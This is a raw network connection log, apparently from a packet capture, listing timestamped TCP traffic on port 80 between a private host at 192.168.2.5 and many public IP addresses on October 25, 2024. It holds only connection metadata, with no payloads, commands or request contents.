Oct 25, 2024 11:18:12.728418112 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728434086 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728492022 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728522062 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728672028 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728682041 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728699923 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728709936 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728722095 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728734016 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728765011 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728796005 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728816032 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728827000 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728838921 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728851080 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728863001 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728863001 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728876114 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728879929 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728904009 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728926897 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728970051 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728981018 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729000092 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729012012 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729022026 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.729022980 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729033947 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729043961 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729051113 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.729054928 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729064941 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.729073048 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729083061 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.729083061 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729095936 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729108095 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729111910 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.729120970 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.729130983 CEST	80	52907	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:12.729137897 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.729160070 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.729190111 CEST	52907	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:12.738758087 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.738768101 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.738778114 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.738833904 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.738846064 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.738857031 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.738888979 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.738950968 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739062071 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739073992 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739084959 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739100933 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739180088 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739243031 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739253044 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739264011 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739275932 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739305973 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739305973 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739336014 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739468098 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739518881 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739554882 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739554882 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739588976 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739619970 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739631891 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739686012 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739686012 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739723921 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739734888 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739756107 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739761114 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739772081 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739784002 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739792109 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739792109 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739794970 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739805937 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.739818096 CEST	80	52912	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:12.739818096 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739818096 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739849091 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.739872932 CEST	52912	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:12.739876032 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.740392923 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740403891 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740416050 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740433931 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.740448952 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.740495920 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740510941 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740523100 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740531921 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.740531921 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.740533113 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740546942 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740557909 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740561008 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.740561008 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.740571022 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740576982 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.740581036 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740593910 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.740608931 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.740637064 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.740637064 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.741328001 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741368055 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.741372108 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741384029 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741422892 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.741422892 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.741487980 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741498947 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741508007 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741519928 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741532087 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741543055 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741543055 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.741555929 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741564035 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.741564035 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.741568089 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741580009 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.741594076 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.741647959 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.744275093 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.744287014 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.744303942 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.744323015 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.744350910 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.744350910 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.812287092 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:12.814631939 CEST	52929	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:12.817738056 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:12.817823887 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:12.817945957 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:12.818006992 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:12.820045948 CEST	80	52929	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:12.820106030 CEST	52929	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:12.820219994 CEST	52929	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:12.823474884 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:12.823486090 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:12.825558901 CEST	80	52929	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:12.840166092 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840209007 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840220928 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840276003 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840282917 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840286970 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840300083 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840308905 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840312958 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840325117 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840337038 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840353966 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840368032 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840379953 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840392113 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840413094 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840420008 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840430021 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840441942 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840445995 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840471983 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840472937 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840486050 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840497017 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840500116 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840523005 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840534925 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840543032 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840547085 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840559006 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840570927 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840574980 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840583086 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840593100 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840594053 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840605974 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840616941 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840621948 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840629101 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840641022 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840641022 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840653896 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840660095 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840682983 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840713024 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840850115 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.840943098 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.840997934 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.841046095 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.841051102 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.841064930 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.841075897 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.841085911 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.841100931 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.841114044 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.856113911 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856127024 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856195927 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856224060 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856235981 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856245995 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.856265068 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856283903 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856302977 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.856302977 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.856304884 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856324911 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856337070 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856340885 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.856348038 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856349945 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.856359959 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856372118 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856394053 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.856394053 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.856415033 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.856745005 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.856828928 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857004881 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857019901 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857043982 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857054949 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857057095 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857057095 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857067108 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857093096 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857096910 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857096910 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857105017 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857116938 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857126951 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857126951 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857129097 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857141018 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857144117 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857152939 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857167006 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857177019 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857177019 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857180119 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857193947 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857207060 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857219934 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857222080 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857222080 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857234001 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857244968 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857259035 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857271910 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.857281923 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857281923 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857316017 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.857316017 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.896626949 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:12.902165890 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:12.902220011 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:12.902405977 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:12.906711102 CEST	80	52911	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:12.906790972 CEST	52911	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:12.907288074 CEST	80	52911	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:12.907412052 CEST	52911	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:12.907704115 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:12.926088095 CEST	52911	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:12.928317070 CEST	52931	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:12.932527065 CEST	80	52911	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:12.933643103 CEST	80	52931	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:12.933705091 CEST	52931	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:12.933820963 CEST	52931	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:12.939486027 CEST	80	52931	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.007226944 CEST	80	52915	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.007276058 CEST	52915	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.009696007 CEST	80	52916	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.009864092 CEST	52916	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.039891958 CEST	80	52915	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.039995909 CEST	52915	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.040062904 CEST	52915	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.043893099 CEST	80	52916	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.044125080 CEST	52916	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.044126034 CEST	52916	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.045617104 CEST	80	52915	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.049909115 CEST	80	52916	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.069227934 CEST	52932	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.074668884 CEST	80	52932	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.074748993 CEST	52932	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.074904919 CEST	52932	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.080773115 CEST	80	52932	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.117450953 CEST	80	52891	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:13.117522001 CEST	52891	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:13.118010998 CEST	52933	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:13.123409033 CEST	80	52933	217.19.237.54	192.168.2.5
Oct 25, 2024 11:18:13.123481989 CEST	52933	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:13.123636007 CEST	52933	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:13.128931046 CEST	80	52933	217.19.237.54	192.168.2.5
Oct 25, 2024 11:18:13.182678938 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:13.183183908 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:13.188015938 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:13.188463926 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:13.188519001 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:13.188653946 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:13.194165945 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:13.231718063 CEST	80	52919	51.79.51.72	192.168.2.5
Oct 25, 2024 11:18:13.231767893 CEST	52919	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:18:13.231826067 CEST	52919	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:18:13.237200022 CEST	80	52919	51.79.51.72	192.168.2.5
Oct 25, 2024 11:18:13.261389971 CEST	52937	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.266836882 CEST	80	52937	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.266932964 CEST	52937	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.267025948 CEST	52937	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.271481037 CEST	80	52917	217.19.237.54	192.168.2.5
Oct 25, 2024 11:18:13.271534920 CEST	52917	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:13.272609949 CEST	80	52937	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.290880919 CEST	80	52924	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:13.290937901 CEST	52924	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:13.302506924 CEST	80	52925	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.303328991 CEST	52925	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.321162939 CEST	52924	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:13.326508045 CEST	80	52924	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:13.346077919 CEST	80	52924	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:13.346831083 CEST	52924	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:13.346885920 CEST	52924	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:13.347170115 CEST	52938	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:13.351454973 CEST	80	52927	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:13.351521015 CEST	52927	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:13.353528023 CEST	80	52924	69.163.182.181	192.168.2.5
